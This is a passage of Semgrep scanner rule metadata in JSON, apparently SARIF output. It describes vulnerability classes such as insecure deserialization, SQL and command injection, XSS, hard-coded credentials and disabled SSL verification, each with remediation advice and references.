`pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","id":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","name":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"help":{"markdown":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"helpUri":"https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity","id":"html.security.audit.missing-integrity.missing-integrity","name":"html.security.audit.missing-integrity.missing-integrity","properties":{"precision":"very-high","tags":["CWE-353: Missing Support for Integrity Check","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.audit.missing-integrity.missing-integrity"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express","id":"javascript.express.db.mongoose-express.mongoose-express","name":"javascript.express.db.mongoose-express.mongoose-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-express.mongoose-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"help":{"markdown":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n","text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","id":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","name":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","id":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","name":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","id":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","name":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"help":{"markdown":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off)\n - [https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/](https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/)\n","text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"helpUri":"https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","id":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","name":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","id":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","name":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"help":{"markdown":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html)\n","text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe","id":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","name":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-mark-safe.avoid-mark-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","id":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","name":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false","id":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","name":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-false.django-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"help":{"markdown":"This call turns off CSRF protection allowing CSRF attacks against the application\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection)\n - [https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection)\n","text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","id":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","name":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format","id":"javascript.express.security.injection.raw-html-format.raw-html-format","name":"javascript.express.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"help":{"markdown":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string)\n - [https://github.com/golang/go/issues/9200#issuecomment-66100328](https://github.com/golang/go/issues/9200#issuecomment-66100328)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","id":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","name":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url","id":"rust.secrets.diesel.pg-connection-url.pg-connection-url","name":"rust.secrets.diesel.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Proxy declares a state var that may override a storage slot of the implementation"},"help":{"markdown":"Proxy declares a state var that may override a storage slot of the implementation\n\n<b>References:</b>\n - [Semgrep 